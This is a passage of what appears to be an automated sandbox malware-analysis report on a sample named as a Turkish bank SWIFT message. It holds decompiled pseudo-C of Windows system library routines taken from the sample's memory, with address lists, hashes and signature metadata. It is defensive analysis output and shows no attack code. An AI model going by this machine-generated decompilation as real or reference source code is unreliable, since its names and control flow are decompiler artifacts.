						L6:
						if(_v56 != 0) {
							_push(_v56);
							E012B95D0();
						}
						if(_t78 != 0) {
							L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t78);
						}
						return _t97;
					}
					E012BFA60(_t78, 0, 0x158);
					_v48 = _v48 & 0x00000000;
					_t102 = _t101 + 0xc;
					 *_t96 = 0;
					 *_t93 = 0;
					E012BBB40(_t80,  &_v36, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\NLS\\Language");
					_v36 = 0x18;
					_v28 =  &_v44;
					_v64 = 0;
					_push( &_v36);
					_push(0x20019);
					_v32 = 0;
					_push( &_v64);
					_v24 = 0x40;
					_v20 = 0;
					_v16 = 0;
					_t97 = E012B9600();
					if(_t97 < 0) {
						goto L6;
					}
					E012BBB40(0,  &_v36, L"InstallLanguageFallback");
					_push(0);
					_v48 = 4;
					_t97 = L0127F018(_v64,  &_v44,  &_v56, _t78,  &_v48);
					if(_t97 >= 0) {
						if(_v52 != 1) {
							L17:
							_t97 = 0xc0000001;
							goto L6;
						}
						_t59 =  *_t78 & 0x0000ffff;
						_t94 = _t78;
						_t83 = _t59;
						if(_t59 == 0) {
							L19:
							if(_t83 == 0) {
								L23:
								E012BBB40(_t83, _t102 + 0x24, _t78);
								if(L012843C0( &_v48,  &_v64) == 0) {
									goto L17;
								}
								_t84 = _v48;
								 *_v48 = _v56;
								if( *_t94 != 0) {
									E012BBB40(_t84, _t102 + 0x24, _t94);
									if(L012843C0( &_v48,  &_v64) != 0) {
										 *_a4 = _v56;
									} else {
										_t97 = 0xc0000001;
										 *_v48 = 0;
									}
								}
								goto L6;
							}
							_t83 = _t83 & 0x0000ffff;
							while(_t83 == 0x20) {
								_t94 =  &(_t94[1]);
								_t74 =  *_t94 & 0x0000ffff;
								_t83 = _t74;
								if(_t74 != 0) {
									continue;
								}
								goto L23;
							}
							goto L23;
						} else {
							goto L14;
						}
						while(1) {
							L14:
							_t27 =  &(_t94[1]); // 0x2
							_t75 = _t27;
							if(_t83 == 0x2c) {
								break;
							}
							_t94 = _t75;
							_t76 =  *_t94 & 0x0000ffff;
							_t83 = _t76;
							if(_t76 != 0) {
								continue;
							}
							goto L23;
						}
						 *_t94 = 0;
						_t94 = _t75;
						_t83 =  *_t75 & 0x0000ffff;
						goto L19;
					}
				}
			}































                                                                        0x0127e620
                                                                        0x0127e628
                                                                        0x0127e62f
                                                                        0x0127e631
                                                                        0x0127e635
                                                                        0x0127e637
                                                                        0x0127e63e
                                                                        0x012d5503
                                                                        0x012d5503
                                                                        0x0127e64c
                                                                        0x0127e64c
                                                                        0x0127e651
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0127e661
                                                                        0x0127e665
                                                                        0x012d542a
                                                                        0x0127e715
                                                                        0x0127e71a
                                                                        0x0127e71c
                                                                        0x0127e720
                                                                        0x0127e720
                                                                        0x0127e727
                                                                        0x0127e736
                                                                        0x0127e736
                                                                        0x0127e743
                                                                        0x0127e743
                                                                        0x0127e673
                                                                        0x0127e678
                                                                        0x0127e67d
                                                                        0x0127e682
                                                                        0x0127e685
                                                                        0x0127e692
                                                                        0x0127e69b
                                                                        0x0127e6a3
                                                                        0x0127e6ad
                                                                        0x0127e6b1
                                                                        0x0127e6b2
                                                                        0x0127e6bb
                                                                        0x0127e6bf
                                                                        0x0127e6c0
                                                                        0x0127e6c8
                                                                        0x0127e6cc
                                                                        0x0127e6d5
                                                                        0x0127e6d9
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0127e6e5
                                                                        0x0127e6ea
                                                                        0x0127e6f9
                                                                        0x0127e70b
                                                                        0x0127e70f
                                                                        0x012d5439
                                                                        0x012d545e
                                                                        0x012d545e
                                                                        0x00000000
                                                                        0x012d545e
                                                                        0x012d543b
                                                                        0x012d543e
                                                                        0x012d5440
                                                                        0x012d5445
                                                                        0x012d5472
                                                                        0x012d5475
                                                                        0x012d548d
                                                                        0x012d5493
                                                                        0x012d54a9
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d54ab
                                                                        0x012d54b4
                                                                        0x012d54bc
                                                                        0x012d54c8
                                                                        0x012d54de
                                                                        0x012d54fb
                                                                        0x012d54e0
                                                                        0x012d54e6
                                                                        0x012d54eb
                                                                        0x012d54eb
                                                                        0x012d54de
                                                                        0x00000000
                                                                        0x012d54bc
                                                                        0x012d5477
                                                                        0x012d547a
                                                                        0x012d5480
                                                                        0x012d5483
                                                                        0x012d5486
                                                                        0x012d548b
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d548b
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d5447
                                                                        0x012d5447
                                                                        0x012d5447
                                                                        0x012d5447
                                                                        0x012d544e
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d5450
                                                                        0x012d5452
                                                                        0x012d5455
                                                                        0x012d545a
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d545c
                                                                        0x012d546a
                                                                        0x012d546d
                                                                        0x012d546f
                                                                        0x00000000
                                                                        0x012d546f
                                                                        0x0127e70f

                                                                        Strings
                                                                        • @, xrefs: 0127E6C0
                                                                        • InstallLanguageFallback, xrefs: 0127E6DB
                                                                        • \Registry\Machine\System\CurrentControlSet\Control\NLS\Language, xrefs: 0127E68C
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: @$InstallLanguageFallback$\Registry\Machine\System\CurrentControlSet\Control\NLS\Language
                                                                        • API String ID: 0-1757540487
                                                                        • Opcode ID: c6bd95342250c6c5a0955aa7b8753b67e9d962e584437c9206a3a042690f14f1
                                                                        • Instruction ID: f257b109df944b96c835bf4434f6550d109c63bdfe4fdfacfa5e4bc92ecfeb1d
                                                                        • Opcode Fuzzy Hash: c6bd95342250c6c5a0955aa7b8753b67e9d962e584437c9206a3a042690f14f1
                                                                        • Instruction Fuzzy Hash: FD51BE726283469BD724DF28C480ABBB7E8EF88754F45096EFA85D7240F774D90487A2
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0129B8E4 Relevance: 3.8, Strings: 3, Instructions: 69COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 60%
                                                                        			E0129B8E4(unsigned int __edx) {
				void* __ecx;
				void* __edi;
				intOrPtr* _t16;
				intOrPtr _t18;
				void* _t27;
				void* _t28;
				unsigned int _t30;
				intOrPtr* _t31;
				unsigned int _t38;
				void* _t39;
				unsigned int _t40;

				_t40 = __edx;
				_t39 = _t28;
				if( *0x1368748 >= 1) {
					__eflags = (__edx + 0x00000fff & 0xfffff000) - __edx;
					if((__edx + 0x00000fff & 0xfffff000) != __edx) {
						_t18 =  *[fs:0x30];
						__eflags =  *(_t18 + 0xc);
						if( *(_t18 + 0xc) == 0) {
							_push("HEAP: ");
							E0127B150();
						} else {
							E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push("(ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)");
						E0127B150();
						__eflags =  *0x1367bc8;
						if(__eflags == 0) {
							E01332073(_t27, 1, _t39, __eflags);
						}
					}
				}
				_t38 =  *(_t39 + 0xb8);
				if(_t38 != 0) {
					_t13 = _t40 >> 0xc;
					__eflags = _t13;
					while(1) {
						__eflags = _t13 -  *((intOrPtr*)(_t38 + 4));
						if(_t13 <  *((intOrPtr*)(_t38 + 4))) {
							break;
						}
						_t30 =  *_t38;
						__eflags = _t30;
						if(_t30 != 0) {
							_t38 = _t30;
							continue;
						}
						_t13 =  *((intOrPtr*)(_t38 + 4)) - 1;
						__eflags =  *((intOrPtr*)(_t38 + 4)) - 1;
						break;
					}
					return E0129AB40(_t39, _t38, 0, _t13, _t40);
				} else {
					_t31 = _t39 + 0x8c;
					_t16 =  *_t31;
					while(_t31 != _t16) {
						__eflags =  *((intOrPtr*)(_t16 + 0x14)) - _t40;
						if( *((intOrPtr*)(_t16 + 0x14)) >= _t40) {
							return _t16;
						}
						_t16 =  *_t16;
					}
					return _t31;
				}
			}














                                                                        0x0129b8f0
                                                                        0x0129b8f2
                                                                        0x0129b8f4
                                                                        0x012e2c4e
                                                                        0x012e2c50
                                                                        0x012e2c56
                                                                        0x012e2c5c
                                                                        0x012e2c60
                                                                        0x012e2c7f
                                                                        0x012e2c84
                                                                        0x012e2c62
                                                                        0x012e2c77
                                                                        0x012e2c7c
                                                                        0x012e2c8a
                                                                        0x012e2c8f
                                                                        0x012e2c94
                                                                        0x012e2c9c
                                                                        0x012e2ca5
                                                                        0x012e2ca5
                                                                        0x012e2c9c
                                                                        0x012e2c50
                                                                        0x0129b8fa
                                                                        0x0129b902
                                                                        0x0129b921
                                                                        0x0129b921
                                                                        0x0129b924
                                                                        0x0129b924
                                                                        0x0129b927
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0129b929
                                                                        0x0129b92b
                                                                        0x0129b92d
                                                                        0x0129b940
                                                                        0x00000000
                                                                        0x0129b940
                                                                        0x0129b932
                                                                        0x0129b932
                                                                        0x00000000
                                                                        0x0129b932
                                                                        0x00000000
                                                                        0x0129b904
                                                                        0x0129b904
                                                                        0x0129b90a
                                                                        0x0129b90c
                                                                        0x0129b916
                                                                        0x0129b919
                                                                        0x0129b915
                                                                        0x0129b915
                                                                        0x0129b91b
                                                                        0x0129b91b
                                                                        0x00000000
                                                                        0x0129b910

                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: (ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)$HEAP: $HEAP[%wZ]:
                                                                        • API String ID: 0-2558761708
                                                                        • Opcode ID: 45d2192ec2086b1d0d9f0010440afb1aa2fac7465a77dbd53743b20d01ca8b7d
                                                                        • Instruction ID: ff9dc0c1aec95d5b9b9ef325ff4a5113d92d5c96bb49fce54d109a66f49c7e3a
                                                                        • Opcode Fuzzy Hash: 45d2192ec2086b1d0d9f0010440afb1aa2fac7465a77dbd53743b20d01ca8b7d
                                                                        • Instruction Fuzzy Hash: 4E11E2313342029FEF29DB2DE499F36B7A9FF50624F15806DE54ACB251E670D880CB91
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0130FF10 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44timeCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Strings
                                                                        • NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 0130FF60
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: DebugPrintTimes
                                                                        • String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p
                                                                        • API String ID: 3446177414-1911121157
                                                                        • Opcode ID: b48dce048ac8f2a1d6fc63c5bd6242d1cf8cb35a505bf02748bbbf230cabf1f9
                                                                        • Instruction ID: cd13cef011e2b4c9d58f590a8aae434e4039b4ceda90ca8c4ad4d780d89a5c26
                                                                        • Opcode Fuzzy Hash: b48dce048ac8f2a1d6fc63c5bd6242d1cf8cb35a505bf02748bbbf230cabf1f9
                                                                        • Instruction Fuzzy Hash: 96110071920648EFDF26DF54C958FA8BBF5FF08B08F148058E208AB2A1C7399944CB90
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012AFAB0 Relevance: 2.8, Strings: 2, Instructions: 306COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 80%
                                                                        			E012AFAB0(void* __ebx, void* __esi, signed int _a8, signed int _a12) {
				char _v5;
				signed int _v8;
				signed int _v12;
				char _v16;
				char _v17;
				char _v20;
				signed int _v24;
				char _v28;
				char _v32;
				signed int _v40;
				void* __ecx;
				void* __edi;
				void* __ebp;
				signed int _t73;
				intOrPtr* _t75;
				signed int _t77;
				signed int _t79;
				signed int _t81;
				intOrPtr _t83;
				intOrPtr _t85;
				intOrPtr _t86;
				signed int _t91;
				signed int _t94;
				signed int _t95;
				signed int _t96;
				signed int _t106;
				signed int _t108;
				signed int _t114;
				signed int _t116;
				signed int _t118;
				signed int _t122;
				signed int _t123;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t134;
				signed int _t138;
				signed int _t141;
				signed int _t147;
				intOrPtr _t153;
				signed int _t154;
				signed int _t155;
				signed int _t170;
				void* _t174;
				signed int _t176;
				signed int _t177;

				_t129 = __ebx;
				_push(_t132);
				_push(__esi);
				_t174 = _t132;
				_t73 =  !( *( *(_t174 + 0x18)));
				if(_t73 >= 0) {
					L5:
					return _t73;
				} else {
					E0128EEF0(0x1367b60);
					_t134 =  *0x1367b84; // 0x77e17b80
					_t2 = _t174 + 0x24; // 0x24
					_t75 = _t2;
					if( *_t134 != 0x1367b80) {
						_push(3);
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0x1367b60);
						_t170 = _v8;
						_v28 = 0;
						_v40 = 0;
						_v24 = 0;
						_v17 = 0;
						_v32 = 0;
						__eflags = _t170 & 0xffff7cf2;
						if((_t170 & 0xffff7cf2) != 0) {
							L43:
							_t77 = 0xc000000d;
						} else {
							_t79 = _t170 & 0x0000000c;
							__eflags = _t79;
							if(_t79 != 0) {
								__eflags = _t79 - 0xc;
								if(_t79 == 0xc) {
									goto L43;
								} else {
									goto L9;
								}
							} else {
								_t170 = _t170 | 0x00000008;
								__eflags = _t170;
								L9:
								_t81 = _t170 & 0x00000300;
								__eflags = _t81 - 0x300;
								if(_t81 == 0x300) {
									goto L43;
								} else {
									_t138 = _t170 & 0x00000001;
									__eflags = _t138;
									_v24 = _t138;
									if(_t138 != 0) {
										__eflags = _t81;
										if(_t81 != 0) {
											goto L43;
										} else {
											goto L11;
										}
									} else {
										L11:
										_push(_t129);
										_t77 = E01286D90( &_v20);
										_t130 = _t77;
										__eflags = _t130;
										if(_t130 >= 0) {
											_push(_t174);
											__eflags = _t170 & 0x00000301;
											if((_t170 & 0x00000301) == 0) {
												_t176 = _a8;
												__eflags = _t176;
												if(__eflags == 0) {
													L64:
													_t83 =  *[fs:0x18];
													_t177 = 0;
													__eflags =  *(_t83 + 0xfb8);
													if( *(_t83 + 0xfb8) != 0) {
														E012876E2( *((intOrPtr*)( *[fs:0x18] + 0xfb8)));
														 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = 0;
													}
													 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = _v12;
													goto L15;
												} else {
													asm("sbb edx, edx");
													_t114 = E01318938(_t130, _t176, ( ~(_t170 & 4) & 0xffffffaf) + 0x55, _t170, _t176, __eflags);
													__eflags = _t114;
													if(_t114 < 0) {
														_push("*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!\n");
														E0127B150();
													}
													_t116 = E01316D81(_t176,  &_v16);
													__eflags = _t116;
													if(_t116 >= 0) {
														__eflags = _v16 - 2;
														if(_v16 < 2) {
															L56:
															_t118 = E012875CE(_v20, 5, 0);
															__eflags = _t118;
															if(_t118 < 0) {
																L67:
																_t130 = 0xc0000017;
																goto L32;
															} else {
																__eflags = _v12;
																if(_v12 == 0) {
																	goto L67;
																} else {
																	_t153 =  *0x1368638; // 0x0
																	_t122 = L012838A4(_t153, _t176, _v16, _t170 | 0x00000002, 0x1a, 5,  &_v12);
																	_t154 = _v12;
																	_t130 = _t122;
																	__eflags = _t130;
																	if(_t130 >= 0) {
																		_t123 =  *(_t154 + 4) & 0x0000ffff;
																		__eflags = _t123;
																		if(_t123 != 0) {
																			_t155 = _a12;
																			__eflags = _t155;
																			if(_t155 != 0) {
																				 *_t155 = _t123;
																			}
																			goto L64;
																		} else {
																			E012876E2(_t154);
																			goto L41;
																		}
																	} else {
																		E012876E2(_t154);
																		_t177 = 0;
																		goto L18;
																	}
																}
															}
														} else {
															__eflags =  *_t176;
															if( *_t176 != 0) {
																goto L56;
															} else {
																__eflags =  *(_t176 + 2);
																if( *(_t176 + 2) == 0) {
																	goto L64;
																} else {
																	goto L56;
																}
															}
														}
													} else {
														_t130 = 0xc000000d;
														goto L32;
													}
												}
												goto L35;
											} else {
												__eflags = _a8;
												if(_a8 != 0) {
													_t77 = 0xc000000d;
												} else {
													_v5 = 1;
													L012AFCE3(_v20, _t170);
													_t177 = 0;
													__eflags = 0;
													L15:
													_t85 =  *[fs:0x18];
													__eflags =  *((intOrPtr*)(_t85 + 0xfc0)) - _t177;
													if( *((intOrPtr*)(_t85 + 0xfc0)) == _t177) {
														L18:
														__eflags = _t130;
														if(_t130 != 0) {
															goto L32;
														} else {
															__eflags = _v5 - _t130;
															if(_v5 == _t130) {
																goto L32;
															} else {
																_t86 =  *[fs:0x18];
																__eflags =  *((intOrPtr*)(_t86 + 0xfbc)) - _t177;
																if( *((intOrPtr*)(_t86 + 0xfbc)) != _t177) {
																	_t177 =  *( *( *[fs:0x18] + 0xfbc));
																}
																__eflags = _t177;
																if(_t177 == 0) {
																	L31:
																	__eflags = 0;
																	L012870F0(_t170 | 0x00000030,  &_v32, 0,  &_v28);
																	goto L32;
																} else {
																	__eflags = _v24;
																	_t91 =  *(_t177 + 0x20);
																	if(_v24 != 0) {
																		 *(_t177 + 0x20) = _t91 & 0xfffffff9;
																		goto L31;
																	} else {
																		_t141 = _t91 & 0x00000040;
																		__eflags = _t170 & 0x00000100;
																		if((_t170 & 0x00000100) == 0) {
																			__eflags = _t141;
																			if(_t141 == 0) {
																				L74:
																				_t94 = _t91 & 0xfffffffd | 0x00000004;
																				goto L27;
																			} else {
																				_t177 = E012AFD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					goto L42;
																				} else {
																					_t130 = E012AFD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						_t68 = _t177 + 0x20;
																						 *_t68 =  *(_t177 + 0x20) & 0xffffffbf;
																						__eflags =  *_t68;
																						_t91 =  *(_t177 + 0x20);
																						goto L74;
																					}
																				}
																			}
																			goto L35;
																		} else {
																			__eflags = _t141;
																			if(_t141 != 0) {
																				_t177 = E012AFD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					L42:
																					_t77 = 0xc0000001;
																					goto L33;
																				} else {
																					_t130 = E012AFD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						 *(_t177 + 0x20) =  *(_t177 + 0x20) & 0xffffffbf;
																						_t91 =  *(_t177 + 0x20);
																						goto L26;
																					}
																				}
																				goto L35;
																			} else {
																				L26:
																				_t94 = _t91 & 0xfffffffb | 0x00000002;
																				__eflags = _t94;
																				L27:
																				 *(_t177 + 0x20) = _t94;
																				__eflags = _t170 & 0x00008000;
																				if((_t170 & 0x00008000) != 0) {
																					_t95 = _a12;
																					__eflags = _t95;
																					if(_t95 != 0) {
																						_t96 =  *_t95;
																						__eflags = _t96;
																						if(_t96 != 0) {
																							 *((short*)(_t177 + 0x22)) = 0;
																							_t40 = _t177 + 0x20;
																							 *_t40 =  *(_t177 + 0x20) | _t96 << 0x00000010;
																							__eflags =  *_t40;
																						}
																					}
																				}
																				goto L31;
																			}
																		}
																	}
																}
															}
														}
													} else {
														_t147 =  *( *[fs:0x18] + 0xfc0);
														_t106 =  *(_t147 + 0x20);
														__eflags = _t106 & 0x00000040;
														if((_t106 & 0x00000040) != 0) {
															_t147 = E012AFD22(_t147);
															__eflags = _t147;
															if(_t147 == 0) {
																L41:
																_t130 = 0xc0000001;
																L32:
																_t77 = _t130;
																goto L33;
															} else {
																 *(_t147 + 0x20) =  *(_t147 + 0x20) & 0xffffffbf;
																_t106 =  *(_t147 + 0x20);
																goto L17;
															}
															goto L35;
														} else {
															L17:
															_t108 = _t106 | 0x00000080;
															__eflags = _t108;
															 *(_t147 + 0x20) = _t108;
															 *( *[fs:0x18] + 0xfc0) = _t147;
															goto L18;
														}
													}
												}
											}
											L33:
										}
									}
								}
							}
						}
						L35:
						return _t77;
					} else {
						 *_t75 = 0x1367b80;
						 *((intOrPtr*)(_t75 + 4)) = _t134;
						 *_t134 = _t75;
						 *0x1367b84 = _t75;
						_t73 = E0128EB70(_t134, 0x1367b60);
						if( *0x1367b20 != 0) {
							_t73 =  *( *[fs:0x30] + 0xc);
							if( *((char*)(_t73 + 0x28)) == 0) {
								_t73 = E0128FF60( *0x1367b20);
							}
						}
						goto L5;
					}
				}
			}

















































                                                                        0x012afab0
                                                                        0x012afab2
                                                                        0x012afab3
                                                                        0x012afab4
                                                                        0x012afabc
                                                                        0x012afac0
                                                                        0x012afb14
                                                                        0x012afb17
                                                                        0x012afac2
                                                                        0x012afac8
                                                                        0x012afacd
                                                                        0x012afad3
                                                                        0x012afad3
                                                                        0x012afadd
                                                                        0x012afb18
                                                                        0x012afb1b
                                                                        0x012afb1d
                                                                        0x012afb1e
                                                                        0x012afb1f
                                                                        0x012afb20
                                                                        0x012afb21
                                                                        0x012afb22
                                                                        0x012afb23
                                                                        0x012afb24
                                                                        0x012afb25
                                                                        0x012afb26
                                                                        0x012afb27
                                                                        0x012afb28
                                                                        0x012afb29
                                                                        0x012afb2a
                                                                        0x012afb2b
                                                                        0x012afb2c
                                                                        0x012afb2d
                                                                        0x012afb2e
                                                                        0x012afb2f
                                                                        0x012afb3a
                                                                        0x012afb3b
                                                                        0x012afb3e
                                                                        0x012afb41
                                                                        0x012afb44
                                                                        0x012afb47
                                                                        0x012afb4a
                                                                        0x012afb4d
                                                                        0x012afb53
                                                                        0x012ebdcb
                                                                        0x012ebdcb
                                                                        0x012afb59
                                                                        0x012afb5b
                                                                        0x012afb5b
                                                                        0x012afb5e
                                                                        0x012ebdd5
                                                                        0x012ebdd8
                                                                        0x00000000
                                                                        0x012ebdda
                                                                        0x00000000
                                                                        0x012ebdda
                                                                        0x012afb64
                                                                        0x012afb64
                                                                        0x012afb64
                                                                        0x012afb67
                                                                        0x012afb6e
                                                                        0x012afb70
                                                                        0x012afb72
                                                                        0x00000000
                                                                        0x012afb78
                                                                        0x012afb7a
                                                                        0x012afb7a
                                                                        0x012afb7d
                                                                        0x012afb80
                                                                        0x012ebddf
                                                                        0x012ebde1
                                                                        0x00000000
                                                                        0x012ebde3
                                                                        0x00000000
                                                                        0x012ebde3
                                                                        0x012afb86
                                                                        0x012afb86
                                                                        0x012afb86
                                                                        0x012afb8b
                                                                        0x012afb90
                                                                        0x012afb92
                                                                        0x012afb94
                                                                        0x012afb9a
                                                                        0x012afb9b
                                                                        0x012afba1
                                                                        0x012ebde8
                                                                        0x012ebdeb
                                                                        0x012ebded
                                                                        0x012ebeb5
                                                                        0x012ebeb5
                                                                        0x012ebebb
                                                                        0x012ebebd
                                                                        0x012ebec3
                                                                        0x012ebed2
                                                                        0x012ebedd
                                                                        0x012ebedd
                                                                        0x012ebeed
                                                                        0x00000000
                                                                        0x012ebdf3
                                                                        0x012ebdfe
                                                                        0x012ebe06
                                                                        0x012ebe0b
                                                                        0x012ebe0d
                                                                        0x012ebe0f
                                                                        0x012ebe14
                                                                        0x012ebe19
                                                                        0x012ebe20
                                                                        0x012ebe25
                                                                        0x012ebe27
                                                                        0x012ebe35
                                                                        0x012ebe39
                                                                        0x012ebe46
                                                                        0x012ebe4f
                                                                        0x012ebe54
                                                                        0x012ebe56
                                                                        0x012ebef8
                                                                        0x012ebef8
                                                                        0x00000000
                                                                        0x012ebe5c
                                                                        0x012ebe5c
                                                                        0x012ebe60
                                                                        0x00000000
                                                                        0x012ebe66
                                                                        0x012ebe66
                                                                        0x012ebe7f
                                                                        0x012ebe84
                                                                        0x012ebe87
                                                                        0x012ebe89
                                                                        0x012ebe8b
                                                                        0x012ebe99
                                                                        0x012ebe9d
                                                                        0x012ebea0
                                                                        0x012ebeac
                                                                        0x012ebeaf
                                                                        0x012ebeb1
                                                                        0x012ebeb3
                                                                        0x012ebeb3
                                                                        0x00000000
                                                                        0x012ebea2
                                                                        0x012ebea2
                                                                        0x00000000
                                                                        0x012ebea2
                                                                        0x012ebe8d
                                                                        0x012ebe8d
                                                                        0x012ebe92
                                                                        0x00000000
                                                                        0x012ebe92
                                                                        0x012ebe8b
                                                                        0x012ebe60
                                                                        0x012ebe3b
                                                                        0x012ebe3b
                                                                        0x012ebe3e
                                                                        0x00000000
                                                                        0x012ebe40
                                                                        0x012ebe40
                                                                        0x012ebe44
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012ebe44
                                                                        0x012ebe3e
                                                                        0x012ebe29
                                                                        0x012ebe29
                                                                        0x00000000
                                                                        0x012ebe29
                                                                        0x012ebe27
                                                                        0x00000000
                                                                        0x012afba7
                                                                        0x012afba7
                                                                        0x012afbab
                                                                        0x012ebf02
                                                                        0x012afbb1
                                                                        0x012afbb1
                                                                        0x012afbb8
                                                                        0x012afbbd
                                                                        0x012afbbd
                                                                        0x012afbbf
                                                                        0x012afbbf
                                                                        0x012afbc5
                                                                        0x012afbcb
                                                                        0x012afbf8
                                                                        0x012afbf8
                                                                        0x012afbfa
                                                                        0x00000000
                                                                        0x012afc00
                                                                        0x012afc00
                                                                        0x012afc03
                                                                        0x00000000
                                                                        0x012afc09
                                                                        0x012afc09
                                                                        0x012afc0f
                                                                        0x012afc15
                                                                        0x012afc23
                                                                        0x012afc23
                                                                        0x012afc25
                                                                        0x012afc27
                                                                        0x012afc75
                                                                        0x012afc7c
                                                                        0x012afc84
                                                                        0x00000000
                                                                        0x012afc29
                                                                        0x012afc29
                                                                        0x012afc2d
                                                                        0x012afc30
                                                                        0x012ebf0f
                                                                        0x00000000
                                                                        0x012afc36
                                                                        0x012afc38
                                                                        0x012afc3b
                                                                        0x012afc41
                                                                        0x012ebf17
                                                                        0x012ebf19
                                                                        0x012ebf48
                                                                        0x012ebf4b
                                                                        0x00000000
                                                                        0x012ebf1b
                                                                        0x012ebf22
                                                                        0x012ebf24
                                                                        0x012ebf26
                                                                        0x00000000
                                                                        0x012ebf2c
                                                                        0x012ebf37
                                                                        0x012ebf39
                                                                        0x012ebf3b
                                                                        0x00000000
                                                                        0x012ebf41
                                                                        0x012ebf41
                                                                        0x012ebf41
                                                                        0x012ebf41
                                                                        0x012ebf45
                                                                        0x00000000
                                                                        0x012ebf45
                                                                        0x012ebf3b
                                                                        0x012ebf26
                                                                        0x00000000
                                                                        0x012afc47
                                                                        0x012afc47
                                                                        0x012afc49
                                                                        0x012afcb2
                                                                        0x012afcb4
                                                                        0x012afcb6
                                                                        0x012afcdc
                                                                        0x012afcdc
                                                                        0x00000000
                                                                        0x012afcb8
                                                                        0x012afcc3
                                                                        0x012afcc5
                                                                        0x012afcc7
                                                                        0x00000000
                                                                        0x012afcc9
                                                                        0x012afcc9
                                                                        0x012afccd
                                                                        0x00000000
                                                                        0x012afccd
                                                                        0x012afcc7
                                                                        0x00000000
                                                                        0x012afc4b
                                                                        0x012afc4b
                                                                        0x012afc4e
                                                                        0x012afc4e
                                                                        0x012afc51
                                                                        0x012afc51
                                                                        0x012afc54
                                                                        0x012afc5a
                                                                        0x012afc5c
                                                                        0x012afc5f
                                                                        0x012afc61
                                                                        0x012afc63
                                                                        0x012afc65
                                                                        0x012afc67
                                                                        0x012afc6e
                                                                        0x012afc72
                                                                        0x012afc72
                                                                        0x012afc72
                                                                        0x012afc72
                                                                        0x012afc67
                                                                        0x012afc61
                                                                        0x00000000
                                                                        0x012afc5a
                                                                        0x012afc49
                                                                        0x012afc41
                                                                        0x012afc30
                                                                        0x012afc27
                                                                        0x012afc03
                                                                        0x012afbcd
                                                                        0x012afbd3
                                                                        0x012afbd9
                                                                        0x012afbdc
                                                                        0x012afbde
                                                                        0x012afc99
                                                                        0x012afc9b
                                                                        0x012afc9d
                                                                        0x012afcd5
                                                                        0x012afcd5
                                                                        0x012afc89
                                                                        0x012afc89
                                                                        0x00000000
                                                                        0x012afc9f
